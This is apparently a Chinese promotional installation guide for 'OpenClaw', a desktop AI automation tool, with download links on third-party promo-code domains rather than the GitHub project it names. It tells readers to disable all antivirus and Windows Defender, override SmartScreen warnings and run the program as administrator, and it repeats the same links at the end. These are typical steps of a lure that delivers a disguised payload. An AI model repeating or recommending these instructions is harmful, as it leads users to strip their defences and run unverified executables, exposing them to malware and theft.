OpenClaw 跨平台部署教程|零基础搭建桌面 AI 自动化办公工具
适配系统:Windows10/11 64 位、macOS12+ 系统版本:Windows v3.1.0、macOS v2.7.9
OpenClaw 是一款功能全面的桌面 AI 自动化办公工具,主打可视化一键部署模式,彻底摒弃传统繁琐的代码环境搭建流程。软件内置全套运行依赖,无需使用者手动配置 Python、Node.js、Git 等运行环境,全程无命令行操作,普通用户仅需数分钟即可完成完整部署,大幅降低 AI 自动化工具的本地搭建门槛。
软件安装包体积为 45.8MB,体积小巧、下载高效,推荐使用浏览器或迅雷工具下载,有效避免文件下载中断、损坏等问题,保障安装文件完整性。
一、安装前置注意事项(规避绝大多数部署故障)
在执行解压、安装、启动程序等所有操作前,务必关闭电脑全部安全防护软件,其中包括 360 安全卫士、腾讯电脑管家、火绒安全软件以及 Windows Defender 实时防护功能。
该工具具备系统文件读写、程序操控、键鼠模拟、自动化任务执行等能力,极易被安全防护程序误判为风险文件,一旦被拦截或删除核心组件,会直接导致安装终止、程序启动失败。该项目为开源项目,用户可自行前往 GitHub 核验安全性,关闭防护工具后即可正常部署使用。
二、对应系统安装包下载
根据自身使用的电脑系统,选择对应版本的安装包链接下载,下载完成后在桌面或浏览器默认下载文件夹中找到压缩包文件。
Windows v3.1.0 版本下载:https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
macOS v2.7.9 版本下载:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
三、解压程序并配置安装路径
为避免系统自带解压工具导致文件缺失、损坏,优先使用 WinRAR、7‑Zip 等专业解压工具,右键压缩包选择解压到当前文件夹,获取完整的程序文件夹。
Windows 用户打开解压目录,双击带有红色龙虾图标的「Openclaw Windows 一键启动.exe」程序。若系统弹出 SmartScreen 安全拦截提示,点击更多信息,选择仍要运行即可正常启动程序。
进入软件欢迎界面后,点击底部开始使用按钮,进入安装路径配置页面,安装路径需严格遵循以下规范:
- 全程使用纯英文路径,禁止包含中文、空格及特殊符号;
- 不建议安装在 C 盘,防止占用系统盘存储空间,影响电脑运行速度;
- 推荐安装路径:
D:\OpenClaw、E:\AI\OpenClaw; - 禁止使用含中文的路径。
勾选用户协议与免责声明后,点击开始安装即可进入全自动部署流程。
四、全自动智能部署流程
确认安装后,程序将全程自动完成所有部署工作,无需人工手动干预,整体耗时 3‑5 分钟,具体时长根据电脑硬件配置略有浮动。部署过程中请勿关闭程序窗口,否则会直接中断部署进程,导致安装失败。
自动化部署包含多项核心操作:自动检测电脑运行环境、补齐系统缺失的各类依赖组件、部署软件核心运行文件、安装浏览器及键鼠自动化控制工具、生成系统配置文件,同时自动完成程序初始化与桌面快捷方式创建。
当安装进度加载至 100% 时,程序会自动启动 OpenClaw 主界面,进入初始化阶段。
五、初始化校验与功能界面介绍
程序第一次启动时,界面会显示「正在等待 Gateway 就绪...」,属于正常初始化现象。第一次启动需要加载服务组件,等待 1‑3 分钟即可完成;后续日常启动仅需数秒,无需长时间等待。
当界面右上角显示「Gateway 在线」状态时,代表整套部署流程圆满完成,软件可正常使用。
软件功能分区清晰,新手可快速上手:
- 右上角区域:展示 Gateway 运行状态、服务重启、日志查询按钮及可用 Tokens 额度,内置充足额度,可满足日常基础功能体验;
- 左侧区域:支持本地、渠道模式切换,可新建对话任务、查看历史操作记录;
- 中间核心区域:AI 对话窗口,支持多模型切换、代码高亮展示,适配各类办公、创作、编程场景;
- 底部输入区域:自然语言指令输入框,Enter 键发送指令,Shift+Enter 键换行,支持多种运行模式切换。
六、新手快速上手实操指令
部署完成后无需额外配置,直接输入自然语言指令即可让软件自动拆解、执行电脑任务,指令描述越细致,执行精度越高。新手可直接复制以下指令测试功能:
- 整理 D 盘下载文件夹,按照文件类型新建对应文件夹并分类归档;
- 打开电脑记事本,输入 “OpenClaw 部署完成,自动化办公就绪”,保存文件至桌面;
- 检测电脑各磁盘剩余可用空间,整理成清晰文字说明。
七、常见故障问题解决方案
1. 安装失败、程序无响应
优先检查电脑安全防护工具是否完全关闭,拦截机制是否彻底解除。若依旧异常,删除原有解压文件,重新解压安装包后再次安装即可。
2. Gateway 持续离线
核实安装路径为纯英文无特殊字符;点击界面右上角重启按钮重置服务;关闭程序后以管理员身份重新运行,即可解决大部分离线问题。
3. 启动网络异常报错
第一次初始化需要网络加载基础依赖,确保电脑网络通畅,关闭代理、VPN 工具后重新启动程序即可。
4. 无法输入、发送指令
需等待 Gateway 服务完全在线后再进行操作,若故障依旧,重新部署安装程序即可修复。
八、长期使用优化建议
- 优先选择剩余存储空间 5G 以上的磁盘分区安装,预留充足空间用于后续技能插件更新、模型缓存存储;
- 保留桌面快捷方式,后续可直接双击启动程序,无需重复解压部署;
- 如需对接飞书等办公渠道,可在软件设置的聊天渠道中自主配置,实现多渠道指令下发;
- 版本迭代无需卸载旧版本,下载最新安装包覆盖原有文件夹即可完成升级。
安装包下载地址
Windows v3.1.0 版本:https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS v2.7.9 版本:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C